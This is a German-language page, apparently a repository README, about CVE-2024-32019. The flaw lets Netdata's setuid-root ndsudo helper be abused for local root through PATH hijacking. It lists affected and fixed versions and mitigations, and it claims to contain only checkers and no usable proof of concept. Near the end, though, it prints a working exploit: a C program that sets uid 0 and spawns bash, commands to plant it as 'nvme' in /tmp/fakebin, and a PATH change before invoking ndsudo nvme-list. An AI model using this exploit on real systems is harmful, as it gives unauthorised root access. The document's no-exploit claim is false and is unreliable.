
ndsudo Lokale PrivilegienausweitungDer ndsudo-Helfer von Netdata (installiert als setuid root) schränkt ein, welche Befehle er ausführt, löst diese Befehle jedoch über den PATH des Aufrufers auf. In betroffenen Versionen kann ein lokaler Benutzer eine schädliche Binärdatei weiter vorne im PATH platzieren und ndsudo dazu bringen, sie mit Root-Rechten auszuführen. Behoben in Netdata 1.45.3 und 1.45.0-169.
Betroffen: >= 1.44.0-60, < 1.45.0-169 und >= 1.45.0, < 1.45.3 (laut Advisory des Herstellers).
Behoben: 1.45.3 (stabil), 1.45.0-169 (nightly). GitHub
Lokale Privilegienausweitung auf Root auf Systemen, auf denen ndsudo mit SUID installiert ist und der Benutzer es aufrufen kann (normalerweise Mitglieder der Gruppe netdata). NVDGitHub
ndsudo ist SUID-root und erlaubt Unterbefehle wie nvme-list, nvme-smart-log usw. per Whitelist.
Es ruft externe ausführbare Dateien über ihren Namen auf (z.?B. nvme), die über den PATH aufgelöst werden, anstatt absolute Pfade oder eine feste, sichere Suche zu verwenden.
Wenn ein beschreibbares Verzeichnis vor den Systempfaden liegt, kann ein Angreifer eine gleichnamige Binärdatei einbringen, die dann als Root ausgeführt wird. GitHub
Dieses Repository enthält Checker ohne Exploit-Code, die:
Prüfen /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (oder den tatsächlichen Installationsort) auf SUID/Eigentümer.
Untersuchen den PATH auf beschreibbare Verzeichnisse, die vor den üblichen Systempfaden liegen.
Bestätigen das Vorhandensein von per Whitelist erlaubten Unterbefehlsnamen, die ndsudo auszuführen versuchen könnte.
Optional ndsudo --test <subcommand> ausführen, um den aufgelösten Befehl ohne Ausführung anzuzeigen (mit Vorsicht verwenden, zuerst Code lesen). GitHub
⚠️ Kein einsatzfähiger PoC ist enthalten. Dieses Projekt richtet sich an Verteidiger und Forscher, um die Exposition zu bewerten und Patches verantwortungsvoll zu verifizieren.
Aktualisieren Sie Netdata auf 1.45.3 (stabil) oder 1.45.0-169 (nightly).
Verwenden Sie als Maßnahme der Verteidigung in der Tiefe (Defense-in-Depth) bevorzugt absolute Pfade oder einen bereinigten, minimalen PATH in SUID-Helfern; vermeiden Sie es, unnötigen ndsudo-Zugriff zu gewähren. GitHubwiz.io
nvme.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATH ändernexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019. NVD
Netdata Advisory (GHSA-pmhq-4cxq-wj93). GitHub
Wiz-Zusammenfassung. wiz.io
Snyk-Bericht. Vulnerability Guide
MITRE/CVE-Eintrag. CVE